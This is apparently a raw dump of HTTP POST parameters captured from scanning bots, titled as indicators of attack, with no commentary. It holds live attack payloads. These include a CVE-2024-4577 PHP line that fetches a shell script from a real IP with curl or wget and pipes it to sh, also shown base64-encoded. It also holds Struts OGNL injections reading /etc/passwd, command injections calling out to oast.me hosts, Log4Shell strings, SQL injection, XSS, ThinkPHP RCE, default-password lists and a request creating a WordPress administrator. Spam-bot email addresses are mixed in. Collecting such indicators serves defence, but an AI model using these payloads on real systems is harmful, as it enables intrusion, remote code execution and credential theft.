HTTP Bots Indicators of Attacks

<?php_shell_exec("X => String: \$(curl http://194.59.30.110/sh || wget -O- http://194.59.30.110/sh); echo \"\$X\" | sh -s cve_2024_4577"); echo(md5("Hello CVE-2024-4577")); ?>

<?php_shell_exec("X => String: \$(curl http://194.59.30.110/sh || wget -O- http://194.59.30.110/sh); echo \"\$X\" | sh -s cve_2024_4577"); echo(md5("Hello CVE-2024-4577")); ?>

contact_number => String: IvsONEZcq

email => String: vasquezfergys4607@gmail.com

name => String: NqPLkfdD

contact_number => String: TvOXtJvmvn

email => String: y477qlt5gkrq@yahoo.com

name => String: NkieThbijRD

contact_number => String: ITYdLrBjPJ

email => String: deppxbsmkpeh@yahoo.com

name => String: bkrpdpPM

contact_number => String: qRkcAEhEjwKMJ

email => String: kimrydolfc@gmail.com

name => String: zNzofdjqpYK

contact_number => String: PPjmXgfAseXEx

email => String: hydddyerw1992@gmail.com

name => String: oEUiFCzVi

contact_number => String: xCoFfUTpXD

email => String: strusjex@yahoo.com

name => String: ORMtibpP

contact_number => String: QChTJnnD

email => String: mashate_said@yahoo.com

name => String: HdoUSdGB

contact_number => String: BvUoTGsw

email => String: filiksrojas@gmail.com

name => String: GEqdwEYZf

contact_number => String: nmXtLPgroBos

email => String: qnbz5mtfwfp@yahoo.com

name => String: sjFiuIiZSHdw

contact_number => String: YOJKJuJDbKxNoS

email => String: blakesivardzj2005@gmail.com

name => String: piuOBrySTUsDf

contact_number => String: IdBGTKXg

email => String: allenbryksfv39@gmail.com

name => String: kGyzIuhJHPvgQzA

contact_number => String: hdvIPIafDoCBix

email => String: terrayahaneypa221@gmail.com

name => String: wtltkDAbMbIHmpo

contact_number => String: pKLmNlRtSbdd

email => String: vqespdghsuvhhjon@yahoo.com

name => String: XMzGONwPToAV

contact_number => String: sMzqLewkIdBY

email => String: hdnnf2yjl@yahoo.com

name => String: pIgqheyJjLvpx

contact_number => String: julOQmqxuIWM

email => String: bfrostkk52@gmail.com

name => String: rMNXtNgIN

contact_number => String: TllgdKJuHGxPm

email => String: bdjenniferb@gmail.com

name => String: GTpVYkMMChuGm

contact_number => String: GtCICcuomKZX

email => String: k9vkwaaxv7@yahoo.com

name => String: heiYYjEyBtZXwW

contact_number => String: opRfTzyeczW

email => String: ibasdeeeiulf@yahoo.com

name => String: RxyxEkFhGgiMzt

contact_number => String: woYHYHrMHEXJp

email => String: devismka34@gmail.com

name => String: mwMdadGOLZnBsDw

contact_number => String: fOUOffGNDCN

email => String: ir4xhetrcelehfhp@yahoo.com

name => String: JKQFHxYWSVTt

contact_number => String: vBWfugwrbeVF

email => String: ddkninixdjlmx@yahoo.com

name => String: awkTYHGwG

contact_number => String: PctgDxfpqN

email => String: otdveokrlxolunoji@yahoo.com

name => String: NcylKdTzjsr

contact_number => String: rvoCmgDWi

email => String: zigmyndmaye@gmail.com

name => String: HOXFmqATs

contact_number => String: APXMfmPtLGBNE

email => String: terbodretza@yahoo.com

name => String: hrdvWpzVWFMi

contact_number => String: NOuSiUCNY

email => String: um5gfdkydp@yahoo.com

name => String: svAwpbDuAC

contact_number => String: EiFQDCzzWlvCmIm

email => String: urhnupstav@yahoo.com

name => String: bMWocqBuh

contact_number => String: rAXwdflgFk

email => String: feitwfh3@gmail.com

name => String: tAYZbjSvq

contact_number => String: DgzqsvuFPps

email => String: lessiharmui76@gmail.com

name => String: hRIKuzUPDL

contact_number => String: XeefLgCeSjZIiZ

email => String: chaneyedyn49@gmail.com

name => String: hXNXEDpO

contact_number => String: BUbgromR

email => String: lunar79kaleidoscopeu@gmail.com

name => String: uzjYozClUgWETnh

contact_number => String: KLlkxxqGzOILp

email => String: fc0oooct3myel@yahoo.com

name => String: iJIVPdhOZ

contact_number => String: VoZNZTFz

email => String: shameklisameyaw@yahoo.com

name => String: jKFGRHuMQq

contact_number => String: TJaYIaQCLeGFe

email => String: illuminateujade@gmail.com

name => String: yCGWOEfPhViKaE

contact_number => String: WNcnkgddWwuyJbK

email => String: navayoto78@gmail.com

name => String: evkmuowOpw

contact_number => String: szVWloHYrzN

email => String: tnamtwdsmvsgggq@yahoo.com

name => String: bDolifRRlhUCYH

0x => Array: [
    "androxgh0st"
]

contact_number => String: eMEPEIaxufte

email => String: szepeinow@yahoo.com

name => String: tktTyXntMwsFB

0x => Array: [
    "0x0day"
]

contact_number => String: hrhhimaIlRP

email => String: gwf48o0b1fw@yahoo.com

name => String: jjKqbBZl

contact_number => String: exsXOmVvslOyKHg

email => String: buvovovuhic030@gmail.com

name => String: vMKgbVEeqAJU

{"id":_1,_"method":_"getwork",_"params":_ => Array: [
    ""
]

{"id":_1,_"method":_"eth_getWork",_"params":_ => Array: [
    ""
]

debug => String: true

contact_number => String: zQjIijKfAkn

email => String: cklihlbjrkl@yahoo.com

name => String: FFxUyIhMYV

contact_number => String: BHQZVeDs

email => String: jjvagyvdwf4hl@yahoo.com

name => String: cWgksgydZpkV

contact_number => String: ktbYaTcFYFO

email => String: iredetiwaka108@gmail.com

name => String: HIruMwrS

contact_number => String: jRojuRVuvGILHZf

email => String: hwpckdkcl@yahoo.com

name => String: yIppgpenlZk

contact_number => String: YCYdIreVBZx

email => String: zamoytaschaible@yahoo.com

name => String: HjjLezcZUgUP

contact_number => String: IODVpQRiCKT

email => String: uwelebevixa32@gmail.com

name => String: rdZhzTMJB

contact_number => String: KGmPQqqRnFVh

email => String: miqivafoyo216@gmail.com

name => String: rTVGhREZjQc

contact_number => String: fSRXhcsySDpYr

email => String: ehipijido02@gmail.com

name => String: pAHaSEyTgTo

contact_number => String: DcIUMuPepsuNa

email => String: jiridepugoq811@gmail.com

name => String: vMabvEEsGAXey

contact_number => String: DjBKHQLKBKjUR

email => String: ajifutalo059@gmail.com

name => String: PRwuSVTt

contact_number => String: UDqwQrLbVzEw

email => String: hulbbuaxow@yahoo.com

name => String: lUxynGicdKWF

{"id":_1,_"method":_"getwork",_"params":_ => Array: [
    ""
]

{"id":_1,_"method":_"eth_getWork",_"params":_ => Array: [
    ""
]

contact_number => String: GTMKkCfVqlwWgCQ

email => String: wvdgslhka1nfw9xw@yahoo.com

name => String: WCELTZnVbnvAT

contact_number => String: OBVkmxOWOfeqE

email => String: tybpppjyvackdph@yahoo.com

name => String: aUeEpmznSIwBa

contact_number => String: AZNwImiCHhFCwqR

email => String: niqeduzig70@gmail.com

name => String: EvUeGxxkDDa

<?php
phpinfo();
?>
 => String: 

<?php_echo_md5("CVE_2024_4577_TEST");_?>
 => String: 

<?php
phpinfo();
?>
 => String: 

contact_number => String: xdiQmTmYt

email => String: metonkalilikane@yahoo.com

name => String: ujneNFNZrkwkprt

contact_number => String: FzIDpeQWpel

email => String: machizhokensmit@yahoo.com

name => String: IrlCZJJSNla

contact_number => String: fbHiFXwLh

email => String: expanseo31quartz46oe@gmail.com

name => String: uPeTlqBEOWOhl

contact_number => String: nvdhZSaSOXG

email => String: jubileeoybrink17@gmail.com

name => String: bmwGDDmzVYGkktd

contact_number => String: GzXhyQpRfVsPPF

email => String: khbgedpfigrp0h@yahoo.com

name => String: tdejAhkWHNTC

contact_number => String: zlCJpQHcHf

email => String: zvolenskystebaboatwriht@yahoo.com

name => String: xeMslDPmIKYA

contact_number => String: ZNnNhSMcFQZWuC

email => String: rcwfpnlposgm@yahoo.com

name => String: gDZMQeUckouH

0x => Array: [
    "ridho"
]

contact_number => String: GdzXMriXTrYmXJ

email => String: colmaonwqvraf@yahoo.com

name => String: lsEDpERSUgCU

contact_number => String: FPnPrOURcMCA

email => String: Angie2Sherman8093@gmail.com

name => String: MrlrrwjndPr

0x => Array: [
    "nopebee7"
]

0x => Array: [
    "nopebee7"
]

0x => Array: [
    "nopebee7"
]

0x => Array: [
    "nopebee7"
]

0x => Array: [
    "nopebee7"
]

0x => Array: [
    "nopebee7"
]

auto_prepend_file => String: "/etc/passwd"

1
Z => String: 

0

x => String: 

1
Z => String: 

class_module_classLoader_URLs => Array: [
    "0"
]

0

x => String: 

0

x => String: 

1
Z => String: 

0

x => String: 

<?php_echo_md5("CVE-2012-1823");?> => String: 

username => String: 1')and updatexml(1,concat(0x7e,md5(999999999),0x7e),1)-- 

password => String: 

field_id => String: 3

form_id => String: 1

gform_unique_id => String: ../../../

name => String: cbabbbb.phtml

name => String: 2sPoSCfHjG9bzM9eGZmZB5ghAa2.php\x0A

username => String: admin

password => String: admin

_submit_check => String: 1

jlbqg<script>alert("2sPoS9JOk57njLM7FwYzPcjNWoJ")</script>b7g0x => String: 1

id => String: -1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5(2014612173),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 

popmake_action => String: popup_sysinfo

popmake-sysinfo => String: CVE-2019-17574

option => String: com_gmapfp

no_html => String: no_html

option => String: com_gmapfp

no_html => String: no_html

_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJ7e3VzZXJuYW1lfX0ifX0 => String: 

USERNAME => String: ')or`1`=`1`;-- -

PASSWORD => String: A

language => String: en

log => String: 

ajax => String: WLANScanSSID

iehack => String: 

Scan => String: Scan

netnumber => String: 1

2 => String: link

3 => String: 3

ssid => String: "'; curl http://cuelsu6lq8v9vjic1d2gi6t3nahrdz5xd.oast.me -H 'User-Agent: rHPUrr' #

ajax => String: WLANScanSSID

iehack => String: 

Scan => String: Scan

netnumber => String: 1

2 => String: link

3 => String: 3

ssid => String: "'; curl http://cuelsu6lq8v9vjic1d2ggu8hhjeri3r6e.oast.me -H 'User-Agent: rHPUrr'

auth => Array: {
    "driver": "elastic",
    "server": "example.org",
    "username": "1vmylpjg",
    "password": "h381vhwh",
    "db": "tk9v8cff"
}

SPOOLDIR => String: test".system(id)."

recheck => String: Recheck

id => String: %{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}

/?Command => String: NOOP

USERNAME => String: student

PASSWORD => String: student@123

language => String: en

log => String: 

html_element_selection => String: </script><img src onerror=alert(document.domain)>

nx_id => String: sleep(6) -- x

class_module_classLoader_resources_context_configFile => String: http://cuelsu6lq8v9vjic1d2g16tcrfyfihkch.oast.me

class_module_classLoader_resources_context_configFile_content_aaa => String: xxx

owa_user_id => String: admin

owa_password => String: wrong password xyz

owa_go => String: 

owa_action => String: base.login

owa_submit_btn => String: Login

class_module_classLoader_resources_context_configFile => String: https://cuelsu6lq8v9vjic1d2g6earu6dk8hoiz.oast.me

class_module_classLoader_resources_context_configFile_content_aaa => String: xxx

owa_user_id => String: admin

owa_password => String: R63KlDnu@123!

owa_go => String: 

owa_action => String: base.login

owa_submit_btn => String: Login

args_reason => String: filetypewarn

url => String: 2sPoS6I0bZ3NI3JOd84StAGIDlp

filetype => String: 2sPoS6I0bZ3NI3JOd84StAGIDlp

user => String: 2sPoS6I0bZ3NI3JOd84StAGIDlp

user_encoded => String: JztjdXJsIGh0dHA6Ly9jdWVsc3U2bHE4djl2amljMWQyZzkxcGdyczQ5aWZjeXkub2FzdC5tZSAj

option => String: moopenid

email => String: uzmpvjPBmwEO3tFXq0vlJg==

appName => String: rlHeqZw2vrPzOiWWfCParA==

timezone => String: `nslookup cuelsu6lq8v9vjic1d2g1o1igba7xgkja.oast.me`

rest_route => String: /wp/v2/users

username => String: xWEeRA

email => String: 2sPoUFu2gGY9U2LxzODbXF976fY@G5SdP.com

password => String: 1qzi10Ut

roles => String: administrator

auto_prepend_file => String: "/etc/passwd"

SubmitCreate => String: 1

ajax => String: true

back => String: my-account

controller => String: authentication

email => String: 2sPoU1VvDkwSCbU3Kt2Adw1Le7O@w10ca.com

email_create => String: 2sPoU1VvDkwSCbU3Kt2Adw1Le7O@w10ca.com" onmouseover=alert(document.domain) y=

token => String: 2sPoU1VvDkwSCbU3Kt2Adw1Le7O

controller => String: change-currency9405'-alert(document.domain)-'

id_currency => String: 

action => String: conditions/render

test => Array: {
    "userCondition": "craft\\elements\\conditions\\users\\UserCondition"
}

config => String: {"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream",    "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}

date => String: 2024-11-06%' UNION ALL SELECT 11,CHAR(113)||CHAR(75,101,86,69,115,83,113,89,100,122,121,102,83,83,113,86,84,112,100,103,69,75,80,117,88,109,83,105,89,116,110,120,76,84,73,109,115,100,83,107)||CHAR(113,118,98,98,113),11-- wPIB

auth => Array: {
    "driver": "server",
    "server": "",
    "username": "root",
    "password": "toor",
    "db": ""
}

auth => Array: {
    "driver": "server",
    "server": "",
    "username": "root",
    "password": "123",
    "db": ""
}

auth => Array: {
    "driver": "server",
    "server": "",
    "username": "root",
    "password": "root",
    "db": ""
}

auth => Array: {
    "driver": "server",
    "server": "",
    "username": "root",
    "password": "123456",
    "db": ""
}

auth => Array: {
    "driver": "server",
    "server": "",
    "username": "root",
    "password": "123456789",
    "db": ""
}

data => String: AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB

action => String: login

username => String: admin

password => String: admin

usernameId => String: admin

passwordId => String: admin

wicket:bookmarkablePage => String: :com.gitblit.wicket.pages.MyDashboardPage

id1_hf_0 => String: 

username => String: admin

password => String: admin

txtUserId => String: user

txtPassword => String: etl3100rt1234

btnLogin => String: Login

username => String: admin

password => String: admin

username => String: cats@rootadmin

password => String: cats

username => String: john@mycompany.net

password => String: password

username => String: username

password => String: john99

name => String: admin

password => String: zxsoft1234!@#$

checkcode => String: ptbh

doLoginSubmit => String: 1

more => String: 0

host => String: 0

username => String: admin

password => String: admin

db => String: 

lang => String: en_us

expire => String: 3

page => String: login_change

oper => String: 0

username => String: admin

password => String: conel

submit => String: Login

cmd => String: login

user => String: admin

passwd => String: 21232f297a57a5a743894a0e4a801fc3

name => String: Admin

password => String: zabbix

autologin => String: 1

enter => String: Sign in

fm_usr => String: admin

fm_pwd => String: admin@123

token => String: {{token}}

_ => String: <script>alert(1)</script>

username => String: ${jndi:ldap://${:-361}${:-713}.${hostName}.username.cuelsu6lq8v9vjic1d2gd37t7aetcgp7y.oast.me/test}

password => String: 

getpwd => String: WorldFilledWithLove

station_id => String: 1 AND (SELECT 2469 FROM(SELECT COUNT(*),CONCAT(0x7162716b71,md5(999999999),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

username => String: admin' or '1'='1'#

password => String: P3zDS

login => String: 

id => String: #

nouser => String: 0

moderator => String: 0

zero => String: <img src=x onerror=alert(document.domain)>

stype => String: 0

range => String: 0

showjob => String: 0

SEARCH => String: <script>alert(document.domain)</script>

COMPANY => String: 

CATEGORY => String: 

submit => String: Submit

user => String: ' or 1=1 limit 1 -- -+

pass => String: ' or 1=1 limit 1 -- -+

Login => String: Login

page => String: index');${system('echo lotuscms_rce | md5sum')};#

more => String: 0

host => String: 0

username => String: "><script>alert(document.domain)</script>

password => String: 

db => String: 

lang => String: en_us

expire => String: 3

Command => String: Diagnostic

traceMode => String: trace

reportIpOnly => String: 0

pingPktSize => String: 56

pingTimeout => String: 30

pingCount => String: 4

ipAddr => String: 

maxTTLCnt => String: 30

queriesCnt => String: ;cat /etc/passwd

reportIpOnlyCheckbox => String: on

btnApply => String: Apply

T => String: 1631653402928

username => String: test

password => String: '+joxy--+z

username => String: '+joxvy--+z

password => String: ffesdf

bf_titre => String: blog

bf_text => String: "><img src=x onerror=console.log(123);>

bf_description => String: abcd

antispam => String: 1

id_typeannonce => String: 2

MAX_FILE_SIZE => String: 10000000

submit_post => String: obj_app_upfile

__hash__ => String: 0b9d6b1ab7479ab69d9f71b05e0e9445

_method => String: __construct

filter => Array: [
    "phpinfo"
]

method => String: get

server => Array: {
    "REQUEST_METHOD": "1"
}

s => String: echo thinkphp | rev

_method => String: __construct

method => String: 

filter => Array: [
    "system"
]

contact_number => String: RlCeppvi

email => String: duskio30echoue@gmail.com

name => String: xxSlhPaFe

contact_number => String: AVPMepvWBphjl

email => String: eaoijade45@gmail.com

name => String: IPRaslFORScj

0x => Array: [
    "0x0day"
]

0x01 => Array: [
    "legion"
]

0x01 => Array: [
    "legion"
]

contact_number => String: BGWjGmfwSvfJOO

email => String: nirvanaio7zeal94@gmail.com

name => String: KEpJxeQjbAKVc

contact_number => String: rsbgsGKcyLS

email => String: nirvanaio7zeal94@gmail.com

name => String: svyGoSEccXL

<methodCall>_<methodName>system_listMethods</methodName>_<params></params>_</methodCall> => String: 

_method => String: __construct

method => String: GET

filter => Array: [
    "system"
]

get => Array: [
    "echo ^xinghuoxise^--xinghuoxise >xxxx.php"
]

debug => String: true

0x => Array: [
    "0x0day"
]

<?php_shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzE5Ni4yNTEuMTE1LjE3My9zaCB8fCB3Z2V0IGh0dHA6Ly8xOTYuMjUxLjExNS4xNzMvc2ggLU8tKTsgZWNobyAiJFgiIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Nw => String: =")); echo(md5("Hello CVE-2024-4577")); ?>

contact_number => String: NFzOVohMcWV

email => String: gossamerio96nexus74@gmail.com

name => String: UNDLicnfxjptRBN

contact_number => String: nwTqinAEHxxbTR

email => String: gossamerio96nexus74@gmail.com

name => String: JRFBjMyvFZp

contact_number => String: VLOVeyuvHg

email => String: robinsondilankx@gmail.com

name => String: cDTVAzobfZdrm

contact_number => String: ljjtPNLX

email => String: robinsondilankx@gmail.com

name => String: ryelqQOCoL

{"id":_1,_"method":_"getwork",_"params":_ => Array: [
    ""
]

{"id":_1,_"method":_"eth_getWork",_"params":_ => Array: [
    ""
]

contact_number => String: eUDNWPfa

email => String: velasquezrori73@gmail.com

name => String: oZRjorUf

contact_number => String: pHCUHFUYI

email => String: velasquezrori73@gmail.com

name => String: vPCATzwPcksb

contact_number => String: YhmXleeugT

email => String: adelisiyafigueroao36@gmail.com

name => String: IZdxtZaCu

contact_number => String: DyLfUADgBf

email => String: adelisiyafigueroao36@gmail.com

name => String: MIXkXKLvODpXx

{"id":_1,_"method":_"getwork",_"params":_ => Array: [
    ""
]

{"id":_1,_"method":_"eth_getWork",_"params":_ => Array: [
    ""
]

contact_number => String: VibcamSbTj

email => String: villanuevabaiyardi@gmail.com

name => String: RMfBrLThtcKu

contact_number => String: LknhUjqXwZLwziH

email => String: villanuevabaiyardi@gmail.com

name => String: HdEFSFSr

contact_number => String: NiMbZaiWbW

email => String: gsiguerdox81@gmail.com

name => String: jHuCPGWKMk

contact_number => String: RGeVowHoEic

email => String: gsiguerdox81@gmail.com

name => String: ybLcsRUfkP

contact_number => String: NcsMaeizWWaSlf

email => String: lorissamacias2@gmail.com

name => String: ErdGmxLa

contact_number => String: aOgUdbJwEfdh

email => String: lorissamacias2@gmail.com

name => String: onaAnAjMyATiYT

0x => Array: [
    "0x0day"
]

contact_number => String: lbpHuEfamqQ

email => String: ioilluminateauchimeu@gmail.com

name => String: WlmCgcwSk

contact_number => String: pHvZEgQNC

email => String: ioilluminateauchimeu@gmail.com

name => String: gPlkdxrobGI

name => String: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('start:struts2_security_')).(#res.getWriter().print('check:end')).(#res.getWriter().flush()).(#res.getWriter().close())}

age => String: a

__checkbox_bustedBefore => String: true

description => String: s

redirect:${#req=#context_get('co'+'m_open'+'symphony_xwo'+'rk2_disp'+'atcher_HttpSer'+'vletReq'+'uest'),#resp=#context_get('co'+'m_open'+'symphony_xwo'+'rk2_disp'+'atcher_HttpSer'+'vletRes'+'ponse'),#resp_setCharacterEncoding('UTF-8'),#resp_getWriter()_print("struts2_security_"),#resp_getWriter()_print("check"),#resp_getWriter()_flush(),#resp_getWriter()_close()} => String: 

debug => String: command

expression => String: #req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().print("struts2_security_"),#resp.getWriter().print("check"),#resp.getWriter().flush(),#resp.getWriter().close()

(#_memberAccess=@ognl_OgnlContext@DEFAULT_MEMBER_ACCESS)?(#req=@org_apache_struts2_ServletActionContext@getRequest(),#res=@org_apache_struts2_ServletActionContext@getResponse(),#res_setCharacterEncoding(#parameters_encoding => Array: [
    ""
]

pp => String: /

encoding => String: UTF-8

web => String: struts2_security_

path => String: check

method:#_memberAccess=@ognl_OgnlContext@DEFAULT_MEMBER_ACCESS,#req=@org_apache_struts2_ServletActionContext@getRequest(),#res=@org_apache_struts2_ServletActionContext@getResponse(),#res_setCharacterEncoding(#parameters_encoding => Array: [
    ""
]

pp => String: /

encoding => String: UTF-8

web => String: struts2_security_

path => String: check

contact_number => String: RgRkWhAWvzb

email => String: fableouipinnacle@gmail.com

name => String: VViwrqHomXfOF

contact_number => String: WUFhlxazfkcvfX

email => String: fableouipinnacle@gmail.com

name => String: CQpssjIgnLkAmR

contact_number => String: OwyjbInTUZdzYkr

email => String: sherisrobinsont@gmail.com

name => String: RHbooagORSlqgJ

contact_number => String: RYcGQbwVpmKwrj

email => String: sherisrobinsont@gmail.com

name => String: rFIKGUPLQzHTv

name => String: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('start:struts2_security_')).(#res.getWriter().print('check:end')).(#res.getWriter().flush()).(#res.getWriter().close())}

age => String: a

__checkbox_bustedBefore => String: true

description => String: s

redirect:${#req=#context_get('co'+'m_open'+'symphony_xwo'+'rk2_disp'+'atcher_HttpSer'+'vletReq'+'uest'),#resp=#context_get('co'+'m_open'+'symphony_xwo'+'rk2_disp'+'atcher_HttpSer'+'vletRes'+'ponse'),#resp_setCharacterEncoding('UTF-8'),#resp_getWriter()_print("struts2_security_"),#resp_getWriter()_print("check"),#resp_getWriter()_flush(),#resp_getWriter()_close()} => String: 

debug => String: command

expression => String: #req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().print("struts2_security_"),#resp.getWriter().print("check"),#resp.getWriter().flush(),#resp.getWriter().close()

(#_memberAccess=@ognl_OgnlContext@DEFAULT_MEMBER_ACCESS)?(#req=@org_apache_struts2_ServletActionContext@getRequest(),#res=@org_apache_struts2_ServletActionContext@getResponse(),#res_setCharacterEncoding(#parameters_encoding => Array: [
    ""
]

pp => String: /

encoding => String: UTF-8

web => String: struts2_security_

path => String: check

method:#_memberAccess=@ognl_OgnlContext@DEFAULT_MEMBER_ACCESS,#req=@org_apache_struts2_ServletActionContext@getRequest(),#res=@org_apache_struts2_ServletActionContext@getResponse(),#res_setCharacterEncoding(#parameters_encoding => Array: [
    ""
]

pp => String: /

encoding => String: UTF-8

web => String: struts2_security_

path => String: check

contact_number => String: cgZyuJVpBGZRRqC

email => String: laladjhiggins@gmail.com

name => String: efGHAwabgbXn

contact_number => String: JYEcnmbYH

email => String: laladjhiggins@gmail.com

name => String: YrEhWvFF

contact_number => String: LMpPpRcVXFYAKJj

email => String: raymeiblye46@gmail.com

name => String: MIyyCGPCrFcNl

contact_number => String: ylFLWqegjSMyXB

email => String: raymeiblye46@gmail.com

name => String: dBNFaeJDwsn

contact_number => String: ggcAAlkwiHBJQT

email => String: qhrliktdelb@yahoo.com

name => String: HQcidqSA

contact_number => String: biyKCWnPe

email => String: qhrliktdelb@yahoo.com

name => String: SFTpfqAKjo

contact_number => String: VdSgwDJP

email => String: meisonbensov34@gmail.com

name => String: pgguBBCRmhgn

contact_number => String: prfuqrchCJduyk

email => String: meisonbensov34@gmail.com

name => String: qFeVggGFsKAl

contact_number => String: kcRITWhOYHj

email => String: dominamiih52@gmail.com

name => String: YgiFLDmjrCQ

contact_number => String: AjJIEhUH

email => String: dominamiih52@gmail.com

name => String: SgJFEDLyzM

contact_number => String: JQKEiJmAyteDwK

email => String: mayerdjonazonvi2@gmail.com

name => String: HIHGRiRuLVn

contact_number => String: XpSDWPNgSWBhHx

email => String: mayerdjonazonvi2@gmail.com

name => String: jQqSzwhSHu

0x => Array: [
    "androxgh0st"
]

0x => Array: [
    "androxgh0st"
]

{"id":_1,_"method":_"getwork",_"params":_ => Array: [
    ""
]

{"id":_1,_"method":_"eth_getWork",_"params":_ => Array: [
    ""
]

contact_number => String: eTInxIEuaSs

email => String: kristalkl1996@gmail.com

name => String: rpPaQsHNRyAtlaw

contact_number => String: iOPpgVIexpai

email => String: kristalkl1996@gmail.com

name => String: YbZtHThqekXK

contact_number => String: AWtAROYoU

email => String: maksimilianmoorejs53@gmail.com

name => String: mXxTcKjaV

contact_number => String: gffFxwTccEVhTD

email => String: maksimilianmoorejs53@gmail.com

name => String: sJLbGYLopFssYI

0x => Array: [
    "0x0day"
]

contact_number => String: NtTTfoRbbPhMc

email => String: yptongoodmanna51@gmail.com

name => String: TXzHUfGbTt

contact_number => String: eDfsuEXsodZqU

email => String: yptongoodmanna51@gmail.com

name => String: HJmZPloEsmdrBq

contact_number => String: xpfLVbfZPa

email => String: gvennetpenningtonjw1990@gmail.com

name => String: zaJtvZbS

contact_number => String: gtqXJiGEV

email => String: gvennetpenningtonjw1990@gmail.com

name => String: YZyNzQEag

contact_number => String: YNKuxudPETaKDOa

email => String: vendidudleyaq30@gmail.com

name => String: INyLKUbfoqH

contact_number => String: lafEulpOEfZOQg

email => String: vendidudleyaq30@gmail.com

name => String: pczMMCpDpputln

contact_number => String: XBuJiHRlJYUVBK

email => String: sarah_hernandez654962@yahoo.com

name => String: yURNNdGohpQwPG

contact_number => String: GcbQvsnaKJlj

email => String: sarah_hernandez654962@yahoo.com

name => String: qkklZfcoZ

contact_number => String: RCidmOfYxi

email => String: mistywalker699643@yahoo.com

name => String: MMDnjKffTiwP

contact_number => String: DNDSZvPxLhYs

email => String: mistywalker699643@yahoo.com

name => String: jNiooPJsOA

0x01 => Array: [
    "legion"
]

0x01 => Array: [
    "legion"
]

0x01 => Array: [
    "legion"
]

0x01 => Array: [
    "legion"
]

contact_number => String: qtYwiZPa

email => String: hancocklinnezi1981@gmail.com

name => String: kXIQaDKDWhf

contact_number => String: whVSTTBJTRO

email => String: hancocklinnezi1981@gmail.com

name => String: HCExoeBKMnp

contact_number => String: kRDzXsWtysU

email => String: hensleyksaverxi97@gmail.com

name => String: rMHzSgQTNz

contact_number => String: kQJWwdczIVYaFz

email => String: ugarrison1981@gmail.com

name => String: TxGgBuGoP

contact_number => String: ZQIpgdhfjjqPiuF

email => String: bobbyjenkins805870@yahoo.com

name => String: dYdcULeDsiXKkdJ

contact_number => String: xJnRqIli

email => String: bobbyjenkins805870@yahoo.com

name => String: xgPfAoYvnw

contact_number => String: HiwiDymJyF

email => String: cummingsdjordan@gmail.com

name => String: YyBbnLGLYBGwcH

contact_number => String: zFTLZKvwjFuK

email => String: cummingsdjordan@gmail.com

name => String: FcIxYbZCm

contact_number => String: jPoASApFANZYhq

email => String: yeseniaanderson1993@yahoo.com

name => String: RzIcSCqT

contact_number => String: CEGkQCBr

email => String: yeseniaanderson1993@yahoo.com

name => String: jIxjMrXtAiTSZ

contact_number => String: FPvKtCMEBAx

email => String: domenikgatesj26@gmail.com

name => String: RCwgFAZj

contact_number => String: TrCmxXMVtzEF

email => String: domenikgatesj26@gmail.com

name => String: BzHByRCJaFAl

contact_number => String: CRloMXCuWrERnWL

email => String: tara.beck167092@yahoo.com

name => String: vVKJxnwKGyFk

contact_number => String: BBbdgMTflH

